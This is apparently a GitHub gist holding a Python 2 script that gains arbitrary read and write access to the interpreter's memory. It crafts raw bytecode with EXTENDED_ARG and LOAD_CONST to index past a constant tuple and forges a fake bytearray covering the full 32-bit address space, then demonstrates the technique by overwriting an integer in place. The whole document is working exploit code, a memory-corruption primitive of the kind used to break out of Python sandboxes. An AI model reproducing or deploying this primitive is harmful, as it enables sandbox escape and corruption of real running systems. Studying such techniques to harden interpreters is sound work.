Direct read/write access to Python's memory
# | |
# read/write access to python's memory, using a custom bytearray. | |
# some code taken from: http://tinyurl.com/q7duzxj | |
# | |
# tested on: | |
# Python 2.7.10, ubuntu 32bit | |
# Python 2.7.8, win32 | |
# | |
# example of correct output: | |
# inspecting int=0x41424344, at 0x0228f898 | |
# int ob_type: 0x1e222310 | |
# int's memory: 0x3 0x1e222310 0x41424344 | |
# changing int to NULL.. | |
# 0 | |
# | |
# pkt | |
# http://gdtr.wordpress.com | |
import opcode | |
import struct | |
import types | |
# use this as size of our fake byte array | |
MAX_SSIZE = (2**31)-1 | |
# prevent GC of fake objects by creating refs inside a global list | |
GL = [] | |
def pack_ushort(us): | |
return struct.pack('@H', us) | |
def pack_uint(ui): | |
return struct.pack('@I', ui) | |
def get_opcode(o): | |
return chr(opcode.opmap[o]) | |
def read_dword(const_tuple, offset): | |
def foo(): | |
pass | |
offset_high, offset_low = offset >> 16, offset & 0xffff | |
evil_bytecode = get_opcode('EXTENDED_ARG') + pack_ushort(offset_high) | |
# load a dword from byte_array object | |
evil_bytecode += get_opcode('LOAD_CONST') + pack_ushort(offset_low) | |
# return it | |
evil_bytecode += get_opcode('RETURN_VALUE') | |
# set co_stacksize to 4, to avoid assert failure in debug build | |
foo.func_code = types.CodeType( | |
0, 0, 4, 0, | |
evil_bytecode, const_tuple, | |
(), (), "", "", 0, "" | |
) | |
dword = foo() | |
return dword | |
# typedef struct { | |
# int ob_refcnt; | |
# int *ob_type; | |
# int ob_size; | |
# int ob_exports; | |
# int ob_alloc; | |
# char *ob_bytes; | |
# } | |
def fake_byte_array_string(start_addr): | |
typ = id(bytearray) | |
ba = pack_uint(0x41414141) + \ | |
pack_uint(typ) + \ | |
pack_uint(MAX_SSIZE) + \ | |
pack_uint(0) + \ | |
pack_uint(MAX_SSIZE) + \ | |
pack_uint(start_addr) | |
return ba | |
def make_mem_object(start_addr): | |
global GL | |
const_tuple = () | |
addr_const_tuple = id(const_tuple) | |
fake_object = fake_byte_array_string(start_addr) | |
byte_array = bytearray(fake_object) | |
# if byte_array dies, our evil bytearray dies too. Prevent GC by appending | |
# to a global list. | |
GL.append(byte_array) | |
addr_byte_array = id(byte_array) | |
# beginning of byte_array | |
offset = ((addr_byte_array - addr_const_tuple - 0xC) & 0xffffffff) / 4 | |
# now advance to pointer to fake byte array | |
offset += 5 | |
#print "const_tuple:", hex(addr_const_tuple) | |
#print "byte_array:", hex(addr_byte_array) | |
#print "fake_object:", hex(id(fake_object)) | |
ba = read_dword(const_tuple, offset) | |
return ba | |
def make_read_write(m1, m2): | |
N = (2**32)-1 | |
def read_byte(m1, m2, addr): | |
addr = addr & N | |
if addr<MAX_SSIZE: | |
return m1[addr] | |
elif addr<2*MAX_SSIZE: | |
return m2[addr] | |
else: | |
assert False | |
def write_byte(m1, m2, addr, byte): | |
byte = byte & 0xff | |
addr = addr & N | |
if addr<MAX_SSIZE: | |
m1[addr] = byte | |
elif addr<2*MAX_SSIZE: | |
m2[addr] = byte | |
else: | |
assert False | |
rd = lambda addr: read_byte(m1, m2, addr) | |
wr = lambda addr, byte: write_byte(m1, m2, addr, byte) | |
return (rd, wr) | |
def magic(): | |
# wee need two objects to span 0-0x7fffffff and 0x7fffffff-0xffffffe ranges | |
m1 = make_mem_object(0) | |
m2 = make_mem_object(MAX_SSIZE) | |
(read, write) = make_read_write(m1, m2) | |
return (read, write) | |
(read, write) = magic() | |
# let's see if it works.. | |
x = 0x41424344 | |
addr = id(x) | |
print "inspecting int=0x%08x, at 0x%08x"%(x, addr) | |
print "int ob_type:", hex(id(int)) | |
l = [chr(read(addr+i)) for i in range(12)] | |
s = "".join(l) | |
(refcnt, ob_type, digits) = struct.unpack("@III", s) | |
print "int's memory:", hex(refcnt), hex(ob_type), hex(digits) | |
print "changing int to NULL.." | |
for i in range(4): | |
write(addr+8+i, 0) | |
print x |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment